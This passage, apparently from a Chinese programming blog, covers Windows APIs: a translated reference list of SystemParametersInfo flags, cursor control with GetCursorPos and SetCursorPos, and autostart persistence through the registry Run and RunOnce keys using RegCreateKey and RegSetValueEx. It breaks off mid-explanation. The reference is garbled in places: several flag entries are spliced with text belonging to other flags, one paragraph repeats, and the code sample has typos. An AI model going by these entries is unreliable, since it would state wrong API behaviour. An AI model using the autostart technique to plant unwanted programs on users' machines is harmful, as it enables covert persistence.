98。檢索當(dāng)前鼠標(biāo)速度。鼠標(biāo)速度決定了鼠標(biāo)移動(dòng)多少距離,鼠標(biāo)的指針將移動(dòng)多遠(yuǎn)。參數(shù)pvParam指向一個(gè)整型變量,該變量接收1(最慢)至20(最快)之間的數(shù)值。缺省值為們10。這個(gè)值可以由最終用戶使用鼠標(biāo)控制面板應(yīng)用程序或使用調(diào)用了SPI_SETMOUSESPEED的應(yīng)用程序來設(shè)置。SPI_GETMOUSETRAILS:用于WpvParam必須指向一個(gè)BOOL類型變量,如果是左對(duì)齊。那么該變量值為TRUE,否則為FALSE。SPI_GETMINIMIZEDMETRICS:檢索最小化窗口有關(guān)的度量數(shù)據(jù)信息。參數(shù)pvParam必須指向MINIMIZEDMETRCS結(jié)構(gòu),以接收信息。該結(jié)構(gòu)中的cbSize和ulParam參數(shù)的值應(yīng)設(shè)為sizeof(MINIMIZEDMETRICS)。SPI_GETMOUSE:檢索鼠標(biāo)的2個(gè)閾值和加速特性。pvParam參數(shù)必須指向一個(gè)長(zhǎng)度為3的整型數(shù)組,分別存儲(chǔ)此值。SPI_GETMOUSEHOVERHEGHT:用于Windows NT 4.0及以后版本或Windows 98。獲得在TrackMouseEvent事件中,為產(chǎn)生WM_MOUSEOVER消息而鼠標(biāo)指針必須停留的矩形框的高度,以像素為單位。參數(shù)pvParam必須指向一個(gè)UINT變量以接收這個(gè)高度值。SPI_GETMOUSEHOVERTIME:用于Windows NT 4.0及以后版本、Windows 98,獲得在TrackMouseEvent事件中,為產(chǎn)生WM_MOUSEOVER消息而鼠標(biāo)指針必須停留在矩形框內(nèi)的時(shí)間,單位為毫秒。參數(shù)pvParam必須指向一個(gè)UINT變量以接收該時(shí)間值。SPI_GETMOUSEHOVERWIDTH:用于Windows NT 4.0及以后版本、Windows 98。獲得在TrackMouseEvent事件中,為產(chǎn)生WM_MOUSEOVER消息而鼠標(biāo)指針必須停留的矩形框的寬度,以像素為單位。參數(shù)pvParam必須指向一個(gè)UINT變量以接收這個(gè)寬度值。SPI_GETMOUSEKEYS:檢索與MOUSEKEYS易用特征有關(guān)的信息,pvParam參數(shù)必須指向某個(gè)MOUSEKEYS結(jié)構(gòu),以獲取信息。應(yīng)將結(jié)構(gòu)的cbSize成員和ulParam參數(shù)設(shè)置為sizeof(MOUSEKEYS)。SPI_GETMOUSESPEED:用于Windows NT 5.0及以后版本、Windows 98。檢索當(dāng)前鼠標(biāo)速度。鼠標(biāo)速度決定了鼠標(biāo)移動(dòng)多少距離,鼠標(biāo)的指針將移動(dòng)多遠(yuǎn)。參數(shù)pvParam指向一個(gè)整型變量,該變量接收1(最慢)至20(最快)之間的數(shù)值。缺省值為們10。這個(gè)值可以由最終用戶使用鼠標(biāo)控制面板應(yīng)用程序或使用調(diào)用了SPI_SETMOUSESPEED的應(yīng)用程序來設(shè)置。SPI_GETMOUSETRAILS:用于Windows 95及更高版本。它用來表示是否允許MouseTrails(鼠標(biāo)軌跡)。該特征通過簡(jiǎn)單地顯示鼠標(biāo)軌跡并迅速擦除它們來改善鼠標(biāo)的可見性。參數(shù)prParam必須指向一個(gè)整型變量來接收該值。如果這個(gè)值為0或1,那么表示禁止該特征。如果該值大于1,則說明該特征被允許,并且該值表示在鼠標(biāo)軌跡上畫出的光標(biāo)數(shù)目。參數(shù)ulParam不用。SPI_GETNONCLIENTMETRICS:檢索與非最小化窗口的非客戶區(qū)有關(guān)的度量信息。參數(shù)pvParam必須指向NONCLIENTMETRICS結(jié)構(gòu),以便接收相應(yīng)值。該結(jié)構(gòu)的。cbSize成員與ulParam參數(shù)值應(yīng)設(shè)為sizeof(NONCLIENTMETRICS)。對(duì)于Windows 98,該標(biāo)志支持16位和32位應(yīng)用程序。對(duì)于Windows 95,該標(biāo)志只支持16位應(yīng)用程序。對(duì)于Windows NT該標(biāo)志在NT 5.0及以后版本中支持32位應(yīng)用程序,不支持16位應(yīng)用程序。SPI_GETPOWEROFFACTIVE:確定是否允許屏幕保護(hù)中關(guān)電。TRUE表示允許,FA參數(shù)pvParam必須指定SERIALKEYS結(jié)構(gòu)來接收信息。該結(jié)構(gòu)中的cbSize成員和ulParam參數(shù)的值要設(shè)為sizeof(SERIALKEYS)。SPI_GETSHOWSOUNDS:確定ShowSounds易用特性標(biāo)志是開或是關(guān)。如果是開,那么用戶需要一個(gè)應(yīng)用程序來可視化地表達(dá)信息,占則只能以聽得見的方式來表達(dá)。參數(shù)pvParam必須指向一個(gè)BOOL類型變量。該變量在該特征處于開狀態(tài)時(shí)返回TRUE,否則為FALSE。使用這個(gè)值等同于調(diào)用GetSystemMetrics(SM_SHOWSOUNDS)。后者是推薦使用的調(diào)用方式。SPI_GETSNAPTODEFBUTTON:用于Windows NT 4.0及以后版本、Windows 98:確定 Snap-TO-Default-Button(轉(zhuǎn)至缺省按鈕)特征是否允許。如果允許,那么鼠標(biāo)自動(dòng)移至缺省按鈕上,例如對(duì)話框的"Ok"或"Apply"按鈕。pvParam參數(shù)必須指向Bool類型變量,如果該特征被允許,則該變量接收到TRUE,否則為FALSE。SPI_GETSOUNDSENTRY:檢索與SOUNDSENTRY可訪問特征有關(guān)的信息。參數(shù)pvParam必須指向SOUNDSENTRY結(jié)構(gòu)以接收信息。該結(jié)構(gòu)中的。cbSize或員和ulParam參數(shù)的值要設(shè)為sizeof(SOUNDSENTRY)。SPI_GETSTICKYKEYS:檢索與StickyKeys易用特征有關(guān)的信息。參數(shù) pvParam必須指向STICKYKEYS結(jié)構(gòu)以獲取信息。該結(jié)構(gòu)中的cbSze成員及ulParam參數(shù)的值須設(shè)為sizeof(STICKYKEYS)。SPI_GETSWITCHTASKDISABLE:用于Windows NT 5.0、Windows 95及以后版本,確定是否允許Alt+Tab和AIt+Esc任務(wù)切換。參數(shù)pvParam必須指向UINT類型變量,如果禁止任務(wù)切換,那么返回值為1,否則為0。在缺省情況下,是允許進(jìn)行任務(wù)切換的。SPI_GETTOGGLEKEYS:檢索與ToggleKeys易用特性有關(guān)的信息。參數(shù)pvParam必須指向TOGGLEKEYS結(jié)構(gòu)以獲取信息。該結(jié)構(gòu)中的cbSize成員和ulParam參數(shù)值要設(shè)置sizeof(TOGGLEKEYS)。SPI_GETWHEELSCROLLLINES:用于Windows NT 4.0及以后版本、Windows 98。當(dāng)前軌跡球轉(zhuǎn)動(dòng)時(shí),獲取滾動(dòng)的行數(shù)。參數(shù)pvParam必須指向UINT類型變量以接收行數(shù)。缺省值是3。SPI_GETWINDOWSEXTENSION:在Windows 95中指示系統(tǒng)中是否裝了Windows Extension和Windows Plus!。 參數(shù)ulParam應(yīng)設(shè)為1。而參數(shù)pvParam則不用。如果安裝了Windows Extenson,那么該函數(shù)返回TRUE,否則為FALSE。SPI_GETWORKAREA:檢索主顯示器的工作區(qū)大小。工作區(qū)是指屏幕上不被系統(tǒng)任務(wù)條或應(yīng)用程序桌面工具遮蓋的部分。參數(shù)pvParam必須指向RECT結(jié)構(gòu)以接收工作區(qū)的坐標(biāo)信息,坐標(biāo)是用虛擬屏幕坐標(biāo)來表示的。為了獲取非主顯示器的工作區(qū)信息,請(qǐng)調(diào)用GetMonitorlnfo函數(shù)。參數(shù)ulParam指定寬度,單位是像素。SPI_ICONVERTICALSPACING:設(shè)置圖標(biāo)單元的高度。參數(shù)ulParam指定高度,單位是像素。SPI_LANGDRIVER:未實(shí)現(xiàn)。SPI_SCREENSAVERRUNNING:改名為SPI_SETSCREENSAVERRUNNING。Spl_SETACCESSTIMEOUT:設(shè)置與可訪問特性有關(guān)的時(shí)間限度值,參數(shù) pvParam必須指向包含新參數(shù)的ACCESSTIMEOUT結(jié)構(gòu),該結(jié)構(gòu)的cbSize成員與ulParam參數(shù)的值要設(shè)為sizeof(ACCESSTMEOUT)。SPI_SETACTIVEWINDOWTRACKING:用于Windows NT 5.0及以后版本、Windows 98。設(shè)置活動(dòng)窗口追蹤的開或關(guān),如果把參數(shù)pvParam設(shè)為TRUE,則表示開。pvParam參數(shù)為FALSE時(shí)表示關(guān)。SPI_SETACTIVEWNDTRKZORDER:用于Windows NT 5.0及以后版本、Windows 98。表示是否把通過活動(dòng)窗口跟蹤而激活的窗口推至頂層。參數(shù)pvParam設(shè)為TRUE表示推至頂層,FALSE則表示不推至頂層。SPI_SETACTIVEWNDTRKTIMEOUT:用于Wlindows NT 5.0及以后版本、Windows 98。設(shè)置活動(dòng)窗口跟蹤延遲。 參數(shù)pvParam設(shè)置在用鼠標(biāo)指針激活窗口前需延遲的時(shí)間量,單位為毫秒。SPI_SETBEEP:將警蜂器打開或關(guān)閉。參數(shù)ulParam指定為TRUE時(shí)表示打開,為FALSE時(shí)表示關(guān)閉。SPI_SETBORDER:設(shè)置確定窗口縮放邊界的邊界放大因子。參數(shù)ulParam用來指定該值。SPI_SETCOMBOBOXANIMATION:用于Windows NT 5.0及以后版本和Windows 98。允許或禁止組合滑動(dòng)打開效果。如果設(shè)置pvParam參數(shù)為TRUE,則表示允許有傾斜效果,如果設(shè)為FALSE則表示禁止。SPI_SETCURSORS:重置系統(tǒng)光標(biāo)。將ulParam參數(shù)設(shè)為0并且pvParam參數(shù)設(shè)為NULL。SPI_SETDEFAULTINPUTLANG:為系統(tǒng)Shell(命令行解器)和應(yīng)用程序設(shè)置缺省的輸入語言。指定的語言必須是可使用當(dāng)前系統(tǒng)字符集來顯示的。pvParam參數(shù)必須指向DWORD變量,該變量包含用于缺省語言的鍵盤布局句柄。SpI_SETDESKpATTERN:通過使Windows系統(tǒng)從WIN.INI文件中pattern=設(shè)置項(xiàng)來設(shè)置當(dāng)前桌面模式。SPI_SETDESKWALLPAPER:設(shè)置桌面壁紙。pvParam參數(shù)必須指向一個(gè)包含位圖文件名,并且以NULL(空)結(jié)束的字符串。SPI_SETDOUBLECLICKTIME:設(shè)ulParam參數(shù)的值為目標(biāo)雙擊時(shí)間。雙擊時(shí)間是指雙擊中的第1次和第2次點(diǎn)擊之間的最大時(shí)間,單位為毫秒。也可以使用SetDoubleClickTime函數(shù)來設(shè)置雙擊時(shí)間。為獲取當(dāng)前雙擊時(shí)間,請(qǐng)調(diào)用GetDoubleClickTime函數(shù)。SPI_SETDOUBLECLKHEGHT:將ulParam參數(shù)的值設(shè)為雙擊矩形區(qū)域的高度。雙擊矩形區(qū)域是指雙擊中的第2次點(diǎn)擊時(shí)鼠標(biāo)指針必須落在的區(qū)域,這樣才能記錄為雙擊。SPI_SETDOUBLECLKWIDTH:將ulParam參數(shù)的值設(shè)為雙擊矩形區(qū)域的寬度。SPI_SETDRAGFULLWINDOWS:設(shè)置是否允許拖至最大窗口。參數(shù)uIParam指定為TRUE時(shí)表示為允許,為FALSE則不可。對(duì)于Windows 95,該標(biāo)志只有在安裝了Windows plus!才支持。SPI_SETDRAGHEIGHT:設(shè)置用于檢測(cè)拖拉操作起點(diǎn)的矩形區(qū)域的高度,單位為像素。參考GETSYSTEMMETRICS函數(shù)的nlndex參數(shù)中的SM_CXDRAG和SM_CYDRAG。SPI_SETDRAGWIDTH:設(shè)置用于檢測(cè)拖拉操作起點(diǎn)的矩形區(qū)域的寬度,單位為像素。SPI_SETFASTTASKSWITCH:該標(biāo)志己不再使用。以前版本的系統(tǒng)使用此標(biāo)志來允許或不許進(jìn)行Alt+Tab快速任務(wù)切換。對(duì)于Windows 95、Windows 98和Windows NT 4.0,通常都允許進(jìn)行快速任務(wù)切換。參考SPI_SETSWITCHTASKDISABLE。SPI_SETFILTERKEYS:設(shè)置FilterKeys易用特性的參數(shù)。參數(shù)pvParam必須指向包含新參數(shù)的FILTERKEYS結(jié)構(gòu),該結(jié)構(gòu)中的cbSize成員和參數(shù)ulParam的值應(yīng)設(shè)為sizeof(FILTERKEYS)。SPI_SETFONTSMOOTHING:允許或禁止有字體平滑特性。該特性使用字體保真技術(shù),通過在不同灰度級(jí)上涂畫像素點(diǎn)來使得字體曲線顯得更加平滑,為了允許有該特性,參數(shù)ulParam應(yīng)設(shè)為TRUE值,否則為FALSE。對(duì)于Windows 95,只有在安裝了Windows plusl才支持該標(biāo)志。SPI_SETFOREGROUNDFLASHCOUNT:用于Windows 98和Windows NT 5.0及以后版本。設(shè)置SetForegroundWindow在拒絕前臺(tái)切換申請(qǐng)時(shí)閃爍任務(wù)攔按鈕的次數(shù)。SPI_SETFOREGROUNDLOCKTIMEOUT:用于Windows 98和Windows NT 5.0及以后版本。它用來設(shè)置在用戶輸入之后,系統(tǒng)禁止應(yīng)用程序強(qiáng)行將自己進(jìn)入前臺(tái)期間的時(shí)間長(zhǎng)度,單位為毫秒。參數(shù)pvParam設(shè)置這個(gè)新的時(shí)間限度值。SPI_SETGRADIENTCAPTIONS:用于Windows 98和Windows NT 5.0及以后版本。允許或禁止窗口標(biāo)題欄有傾斜效果。如果允許則將參數(shù)pvParam設(shè)置為TRUE,否則設(shè)為FALSE。有關(guān)傾斜效果方面更多信息,請(qǐng)參考GetSysColor函數(shù)。SPI_SETGRIDGRANULARITY:將桌面縮放時(shí)網(wǎng)格的顆粒度值設(shè)置為參數(shù)ulParam中的值。SPI_SETHANDHELD:內(nèi)部使用,應(yīng)用程序不應(yīng)使用該值。SPI_SETHIGHCONTRAST:用于Windows 95及以后版本、Windows NT 5.0及以后版本。設(shè)置HighContrast可訪問特性的參數(shù)。參數(shù)pvParam必須指向HIGHCONTRAST結(jié)構(gòu),該結(jié)構(gòu)包含新的參數(shù)。該結(jié)構(gòu)中的cbSize成員及參數(shù)ulParam的值設(shè)為sizeof(HIGHCONTRAST)。SPI_SETICONMETRICS:設(shè)置與圖標(biāo)有關(guān)的信息。參數(shù)pvParam必須指向包含新參數(shù)的ICONMETRICS結(jié)構(gòu),另外還要將參數(shù)ulParam和該結(jié)構(gòu)中的cbSize成員的值設(shè)置為sizeof(ICONMETRICS)。SPI_SETICONS:重新加載系統(tǒng)圖標(biāo)。參數(shù)ulParam的值應(yīng)設(shè)為0,而pvParam參數(shù)應(yīng)設(shè)為NULL。SPI_SETICONTITLELOGFONT:設(shè)置用于圖標(biāo)標(biāo)題的字體。參數(shù)ulParam指定為logfont結(jié)構(gòu)的大小,而參數(shù)pvParam必須指向一個(gè)LOGFONT結(jié)構(gòu)。SPI_SETICONTITLEWRAP:打開或關(guān)閉圖標(biāo)標(biāo)題折行功能。若想打開折行功能,則把參數(shù)ulParam設(shè)為TRUE,否則為FALSE。SPI_SETKEYBOARDDELAY:設(shè)置鍵盤重復(fù)延遲。參數(shù)ulParam必須指定為0,1,2或3。其中0表示設(shè)置為最短延遲(大約 250ms)3,表示最大延遲(大約 1 秒)。與每個(gè)值對(duì)應(yīng)的實(shí)際的延遲時(shí)間根據(jù)硬件情況有可能有些變化。SPI_SETKEYBOARDPREF:用于Windows 95及以后版本、Windows NT 5.0及以后版本,設(shè)置鍵盤優(yōu)先序。如果用戶依賴鍵盤而不是鼠標(biāo),那么可將參數(shù)ulParam指定為TRUE,否則設(shè)為FALSE,并且要求應(yīng)用程序顯示而不隱蔽鍵盤接口。SPI_SETKEYBOARDSPEED:設(shè)置鍵盤重?fù)翩I速度。參數(shù)ulParam必須指定一個(gè)從0到31的值,其中0表示設(shè)置成最快速度(大約30次/秒),31表示設(shè)置為最低速度(大約2。5次/秒),實(shí)際的重速率與硬件有關(guān),而且可能變動(dòng)幅度高達(dá)20%。如果ulParam大于31,那么該參數(shù)仍設(shè)置為31。SPI_SETLANGTOGGLE:為輸入語言間切換設(shè)置熱鍵集。參數(shù)ulParam和pvParam不用。該值通過讀取注冊(cè)表來設(shè)置鍵盤屬性表單中的快捷鍵。在使用該標(biāo)志之前必須設(shè)置注冊(cè)表,注冊(cè)表中的路徑是"1"=Alt+shift,"2"=Ctrl+shift,"3"=none(無)。SPI_SETLISTBOXSMOOTHSCROLLING:用于Windows 98和Windows NT 5.0及以后版本。允許或不許列表欄有平滑滾動(dòng)效果。參數(shù)pvParam設(shè)置為TRUE表示允許有平滑滾動(dòng)效果,為FALSE則表示禁止。SPI_SETLOWPOWERACTIVE:激活或關(guān)閉低電壓屏幕保護(hù)特性。參數(shù)ulParam設(shè)為1表示激活,0表示關(guān)閉。參數(shù)pvParam必須設(shè)為NULL。對(duì)于Windows 98,該標(biāo)志支持16位和32位應(yīng)用程序。對(duì)于Windows 95,該標(biāo)志只支持16位應(yīng)用程序。對(duì)于Windows NT.該標(biāo)志只支持NT 5.0及以后版本的32位應(yīng)用程序,不支持16位應(yīng)用程序。SPI_SETLOWPOWERTIMEOUT:用于設(shè)置低電壓屏幕保護(hù)中的時(shí)間值(也稱超時(shí)值,即在超過某一時(shí)間段后自動(dòng)進(jìn)行屏幕保護(hù)),單位為秒。uIParam參數(shù)用來指定這個(gè)新值。參數(shù)pvParam必須為NULL。對(duì)于Windows98,該標(biāo)志支持16位和32位應(yīng)用程序。對(duì)于Windows 95,該標(biāo)志只支持16位應(yīng)用程序。對(duì)于Windows NT該標(biāo)志只支持NT 5.0及以后版本的32位應(yīng)用程序,不支持16位應(yīng)用程序。SPI_SETMENUDROPALIGNMENT:設(shè)置彈出或菜單的對(duì)齊方式。參數(shù)ulParam指定為TRUE時(shí)表示是右對(duì)齊,FALSE時(shí)為左對(duì)齊。SPI_SETMINIMIZEDMETRICS:設(shè)置與最小化窗口有關(guān)的數(shù)據(jù)信息,參數(shù)pvParam必須指向包含新參數(shù)的MINIMIZEDMETRICS結(jié)構(gòu)。該結(jié)構(gòu)中的cbSize成員與ulParam參數(shù)的值應(yīng)設(shè)為sizeof(MINMIZEDMETRICS)。SPI_SETMOUSE:設(shè)置鼠標(biāo)的兩個(gè)閥值和加速率。參數(shù)pvParam必須指向一個(gè)長(zhǎng)度為3的數(shù)組,以指定這些值。詳細(xì)請(qǐng)參考mouse_event。SPI_SETMOUSEBUTTONSWAP:調(diào)換或恢復(fù)鼠標(biāo)左右按鈕的含義,為FALSE時(shí)表示恢復(fù)原來的含義。SPI_SETMOUSEHOVERHEGHT:用于Windows 98和Windows NT 4.0及以后版本。設(shè)置鼠標(biāo)指針停留區(qū)域的高度,以像素為單位。鼠標(biāo)指針在此區(qū)域停留是為了讓TrackMouseEvent產(chǎn)生一條WM_MUOSEHOVER消息,參數(shù)ulParam用來設(shè)置此高度值。SPI_SETMOUSEHOVERTIME:用于Windows 98和Windows NT 4.0及以后版本。設(shè)置鼠標(biāo)指針為了讓TrackMouseEvent產(chǎn)生WM_MOUSEHOVER事件而在停留區(qū)域應(yīng)停留的時(shí)間。該標(biāo)志只有在將調(diào)用dwHoverTime參數(shù)中的HOVER_DEFAULT值傳送到TrackMouseEvent時(shí)才使用。參數(shù)ulParam設(shè)置這個(gè)新的時(shí)間值。SPI_SETMOUSEHOVERWIDTH:用于Windows 98和Windows NT 4.0及以后版本。設(shè)置鼠標(biāo)指針停留區(qū)域的寬度,以像素為單位。參數(shù)ulParam設(shè)置該新值。SPI_SETMOUSEKEYS:設(shè)置MouseKeys易用特性的參數(shù)。參數(shù)pvParam必須指向包含新參數(shù)的MOUSEKEYS結(jié)構(gòu)。結(jié)構(gòu)中的cbSize成員與參數(shù)ulParam的值應(yīng)設(shè)為sizeof(MOUSEKEYS)。SPI_SETMOUSESPEED:用于Windows NT 5.0及以后的版本和Windows 98,設(shè)置當(dāng)前鼠標(biāo)速度。參數(shù)pvParam必須指向一個(gè)1(最慢)至20(最快)之間的整數(shù)。缺省值是10。一般可以使用鼠標(biāo)控制面板應(yīng)用程序來設(shè)置該值。SPI_SETMOUSETRAILS:用于Windows 95及以后版本:允許或禁止有MoouseTrails(鼠標(biāo)軌跡)特性。該特性通過簡(jiǎn)短地顯示鼠標(biāo)光標(biāo)軌跡,并迅速地擦除它們來提高鼠標(biāo)的可見度。禁止該特性可將參數(shù)ulParam設(shè)為0或1,允許時(shí),將ulParam設(shè)置為一個(gè)大于1的數(shù)值,該值表示軌跡中畫出的光標(biāo)個(gè)數(shù)。SPI_SETNONCLIENTMETRICS:設(shè)置與非最小化窗口的非客區(qū)有關(guān)的數(shù)據(jù)信息,參數(shù)pvParam必須指向NONCLIENTMETRICS結(jié)構(gòu),該結(jié)構(gòu)包含新的參數(shù)。其成員cbSzie和參數(shù)ulParam的值應(yīng)設(shè)為sizeof(NONCLIENTMETRICS)。SPI_SETPENWINDOWS;用于Windows 95及以后版本:指定是否加載筆窗口,當(dāng)加載時(shí),參數(shù)ulParam設(shè)為TRUE,不加載時(shí)為FALSE。參數(shù)pvParam為NULL。SPI_SETPOWEROFFACTIVE:激活或關(guān)閉屏幕保護(hù)特性參數(shù)。ulParam設(shè)為1表示激活,0表示關(guān)閉。參數(shù)pvParam必須為NULL。對(duì)于Windows 98,該標(biāo)志支持16位和32位應(yīng)用程序。對(duì)于Windows 95,該標(biāo)志只支持16位應(yīng)用程序。對(duì)于Windows NT,該標(biāo)志支持Windows NT 5.0及以后版本的32位應(yīng)用程序,不支持16位應(yīng)用程序。SPI_SETPOWEROFFTIMEOUT:設(shè)置用于關(guān)閉屏幕保護(hù)所需的時(shí)間值(也稱超時(shí)值)。參數(shù)ulParam指定該值。參數(shù)pvParam必須為NULL。對(duì)于Windows 98.該標(biāo)志支持16位和32位應(yīng)用程序。對(duì)于Windows 95,該標(biāo)志只支持16位應(yīng)用程序。對(duì)于Windows NT,該標(biāo)志支持Windows NT 5.0及以后版本上的32位應(yīng)用程序,不支持16位應(yīng)用程序。SPI_SETSCREENREADER;用于Windows 95及以后版本、Windows NT 5.0及以后版本,表示屏幕審閱程序是否運(yùn)行。參數(shù)uiparm指定為TRUE表示運(yùn)行該程序,FALSE則不運(yùn)行。SPI_SETSCREENSAVERRUNNING:用于Windows 95及以后版本,內(nèi)部使用。應(yīng)用程序不應(yīng)該使用此標(biāo)志SPI_SETSETSCREENSAVETIMEOUT:參數(shù)ulParam值為屏幕保護(hù)器時(shí)間限度值。該值是一個(gè)時(shí)間量,以秒為單位,在屏幕保護(hù)器激活之前,系統(tǒng)應(yīng)該一直是空閑的,超過這個(gè)值就激活屏幕保護(hù)器。SPI_SETSERIALKEYS:用于Windows 95及以后版本:設(shè)置SerialKeys易用特性的參數(shù)。參數(shù)pvParam必須指向包含新參數(shù)的SERIALKEYS結(jié)構(gòu),其成員cbSize和參數(shù)ulParam應(yīng)設(shè)為sizeof(SERIALKEYS)。SPI_SETSHOWSOUNDS:將ShowSounds易用特性設(shè)置為打開或關(guān)閉。參數(shù)ulParam指定為TRUE時(shí)表示打開,FALSE表示關(guān)閉。SPI_SETSNAPTODEFBUTTON:用于Windows NT 4.0及以后版本、Windows 98。允許或禁止有snap-to-default-button(跳轉(zhuǎn)至缺省按鈕)特性。如果允許,那么鼠標(biāo)光標(biāo)會(huì)自動(dòng)移至缺省按鈕上,例如對(duì)話柜中的OK或"apply"按鈕。參數(shù)ulParam設(shè)為TRUE表示允許該特性,FALSE表示禁止。SPI_SETSOUNDSENTRY:設(shè)置SOUNDSENTRY易用特性的參數(shù)。參數(shù)pvParam必須指向SOUNDSENTRY結(jié)構(gòu),該結(jié)構(gòu)包含新參數(shù),其成員cbSize和參數(shù)ulParam的值應(yīng)設(shè)為sizeof(SOUNDSENTRY)。SPI_SETSTICKYKEYS:設(shè)置stickykeys可訪問特性的參數(shù)。參數(shù)pvParam必須指向包含新參數(shù)的stickykeys結(jié)構(gòu),其成員cbSize和ulParam參數(shù)的值要設(shè)為sizeof(STICKYKEYS)。SPI_SETSWITCHTASKDISABLE:用于Windows NT 5.0及以后版本,允許或禁止有Alt+Tab和Alt+Esc任務(wù)切換特性。參數(shù)ulParam設(shè)為1表示允許有該特性,設(shè)為0則表示禁止。缺省情況下是允許有任務(wù)切換特性的。SPI_SETTOGGLEKEYS:設(shè)置togglekeys可訪問特性的參數(shù),參數(shù)PvParam必須指向TOGGLEKEYS結(jié)構(gòu),該結(jié)構(gòu)中包含新的參數(shù)。其成員cbSize和參數(shù)ulParam的值要設(shè)為sizeof(togglekeys)。SPI_SETWHEELSCROOLLLINES:用于Windows 98和Windows NT 4.O及以后版本。設(shè)置當(dāng)鼠標(biāo)軌跡球轉(zhuǎn)動(dòng)時(shí)要滾動(dòng)的行數(shù),滾動(dòng)的行數(shù)是由參數(shù)ulParam設(shè)置的,該行數(shù)是在鼠標(biāo)軌跡球滾動(dòng),并且沒有使用修改鍵時(shí)的滾動(dòng)行數(shù)。如果該數(shù)值為0,那么不會(huì)發(fā)生滾動(dòng),如果滾動(dòng)行數(shù)比可見到的行數(shù)要大,尤其如果是WHEEL_PAGESCROLL(#defined sa UINT_MAX),那么滾動(dòng)操作應(yīng)該被解釋成在滾動(dòng)條的下一頁或上一頁區(qū)點(diǎn)擊一次。SPI_SETWORKAREA:設(shè)置工作區(qū)域大小。工作區(qū)是指屏幕上沒有被系統(tǒng)任務(wù)欄或桌面應(yīng)用程序桌面工具遮蓋的部分。參數(shù)pvParam是一個(gè)指針。指向RECT結(jié)構(gòu),該結(jié)構(gòu)規(guī)定新的矩形工作區(qū)域,它是以虛擬屏幕坐標(biāo)來表達(dá)的。在多顯示器系統(tǒng)中,該函數(shù)用來設(shè)置包含特定矩形的顯示器工作區(qū)域。如果PvParam為NULL,那么該函數(shù)將主顯示器的工作區(qū)域設(shè)為全屏。

    更多

    uiParam:uiParam 在參數(shù)說明中所有為ulParam均為錯(cuò)誤。

    這個(gè)參數(shù)值設(shè)為true即可。

    pvParam:與查詢或設(shè)置的系統(tǒng)參數(shù)有關(guān)。關(guān)于系統(tǒng)級(jí)參數(shù)的詳情,請(qǐng)參考uiAction參數(shù)。否則在沒有指明情況下,必須將該參數(shù)指定為NULL。

    在修改背景圖片時(shí)為圖片信息,PVOID類型。

    fWinlni:如果設(shè)置系統(tǒng)參數(shù),則它用來指定是否更新用戶配置文件(Profile)。亦或是否要將WM_SETTINGCHANGE消息廣播給所有頂層窗口,以通知它們新的變化內(nèi)容。該參數(shù)可以是0或下列取值之一:

    SPIF_UPDATEINIFILE:把新的系統(tǒng)參數(shù)的設(shè)置內(nèi)容寫入用戶配置文件。SPIF_SENDCHANGE:在更新用戶配置文件之后廣播WM_SETTINGCHANGE消息。SPI_SENDWININICHANGE與 SPIF_SENDCHANGE一樣。

    返回值

    如果函數(shù)調(diào)用成功,返回值非零:如果函數(shù)調(diào)用失敗,那么返回值為零。

    控制鼠標(biāo)方法

    控制鼠標(biāo)坐標(biāo)的方法同樣也時(shí)調(diào)用一個(gè)API,GetCursorPos和SetCursorPos

    GetCursorPos用于獲取鼠標(biāo)句柄

    #include<stdio.h> #include<windows.h> int main() {POINT p;GetCursorPos(&p);return0; }

    SetCursorPos用于移動(dòng)鼠標(biāo)

    在使用GetCursorPos獲取鼠標(biāo)句柄之后,可以調(diào)用SetCursorPos移動(dòng)鼠標(biāo),它的兩個(gè)參數(shù)分別是x軸和y軸。

    函數(shù)原型:BOOL SetCursorPos(int X,int Y); 參數(shù): X:指定光標(biāo)的新的X坐標(biāo),以屏幕坐標(biāo)表示。 Y:指定光標(biāo)的新的Y坐標(biāo),以屏幕坐標(biāo)表示。 返回值:如果成功,返回非零值;如果失敗,返回值是零,若想獲得更多錯(cuò)誤信息,請(qǐng)調(diào)用GetLastError函數(shù)。 備注:該光標(biāo)是共享資源,僅當(dāng)該光標(biāo)在一個(gè)窗口的客戶區(qū)域內(nèi)時(shí)它才能移動(dòng)該光標(biāo)。

    開機(jī)自啟動(dòng)方法

    注冊(cè)表

    開機(jī)自啟動(dòng)的實(shí)現(xiàn)方法就是通過注冊(cè)表實(shí)現(xiàn),在注冊(cè)表中有固定的開機(jī)自啟程序設(shè)置位置

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx

    在這幾項(xiàng)中有我們電腦中的開機(jī)自啟動(dòng)程序信息,

    例如這個(gè)WeChat就是開機(jī)時(shí)的微信登錄程序。

    注冊(cè)表讀寫方法

    RegCreateKey
    // 打開注冊(cè)表 LONG WINAPI RegCreateKey( _In_ HKEY hKey, _In_opt_ LPCTSTR lpSubKey, _Out_ PHKEY phkResult );

    hKey
    指向當(dāng)前打開表項(xiàng)的句柄,或者是下列預(yù)定義保留句柄值之一,實(shí)際上就是注冊(cè)表中的幾個(gè)分支。

    lpSubKey
    指向一個(gè)空終止的字符串指針,指示這個(gè)函數(shù)將打開或創(chuàng)建的表項(xiàng)的名稱。這個(gè)表項(xiàng)必須是由hKey參數(shù)所標(biāo)識(shí)的項(xiàng)的子項(xiàng)

    phkResult
    這是一個(gè)返回值,指向一個(gè)變量的指針,用來接受創(chuàng)建或打開的表項(xiàng)的句柄。當(dāng)不再需要此返回的注冊(cè)表項(xiàng)句柄時(shí),調(diào)用RegCloseKey函數(shù)關(guān)閉這個(gè)句柄。

    RegSetValueEx

    // 讀寫注冊(cè)表 LONG RegSetValueEx(HKEY hKey,LPCTSTR lpValueName,DWORD Reserved,DWORD dwType,CONST BYTE *lpData,DWORD cbData );

    hKey
    一個(gè)已打開項(xiàng)的句柄,或指定一個(gè)標(biāo)準(zhǔn)項(xiàng)名

    lpValueName
    指向一個(gè)字符串的指針,該字符串包含了欲設(shè)置值的名稱。若擁有該值名稱的值并不存在于指定的注冊(cè)表項(xiàng)中,則此函數(shù)將其加入到該項(xiàng)。如果此值是NULL,或指向空字符串,則此函數(shù)為該項(xiàng)的默認(rèn)值或未命名值設(shè)置類型和數(shù)據(jù)。

    Reserved
    保留值,必須強(qiáng)制為0

    dwType
